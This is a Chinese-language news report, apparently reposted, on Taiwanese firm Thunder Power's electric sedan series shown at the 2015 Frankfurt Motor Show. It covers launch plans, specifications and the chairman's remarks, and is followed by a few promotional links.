台廠昶洧研發系列電動車 Thunder Power 將於 2017 年歐洲上市

  昶洧自有品牌 Thunder Power 電動車系列,於「2015 法蘭克福國際車展(9 月 17 日至 27 日)」中進行首秀。昶洧表示,Thunder Power 電動車系列量產車預計將於 2017 年在歐洲上市,2018 年在中國大陸上市,之後更將進一步拓展美國市場。   Thunder Power 主要生產廠將設在大陸浙江省紹興市,而歐洲的生產基地,待確定後也將公佈。公司指出,目前所有研發活動都將由昶洧設在米蘭附近的歐洲總部開展並管理,而設在中國大陸和美國的研發機構將負責提供額外支持。   昶洧指出,Thunder Power 作為一款後驅電動轎車,擁有令人興奮的駕控性能,和令同儕豔羨的強大續航能力,該系列車型輸出功率有 230 千瓦或 320 千瓦 2 款動力選擇,充滿電後可行駛超過 650 公里,經過 30 分鐘短暫充電,可再行駛 300 多公里,強大的續航能力足以傲視同級;320 千瓦功率車型在 5 秒內便可完成 0-100 公里加速,最高時速可達 250 公里。   昶洧董事長沈瑋表示,公司歷經 5 年多研發,於本屆法蘭克福國際車展上展出 Thunder Power 豪華電動車系列,選擇在此舉行全球首秀,希望吸引全球媒體、投資人和消費者的目光;相信電動車成為主流並取代內燃發動機汽車,不再是不可能的事,而只是時間問題。

本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

網頁設計公司推薦更多不同的設計風格,搶佔消費者視覺第一線

※廣告預算用在刀口上,網站設計公司幫您達到更多曝光效益

※自行創業 缺乏曝光? 下一步"網站設計"幫您第一時間規劃公司的門面形象

南投搬家前需注意的眉眉角角,別等搬了再說!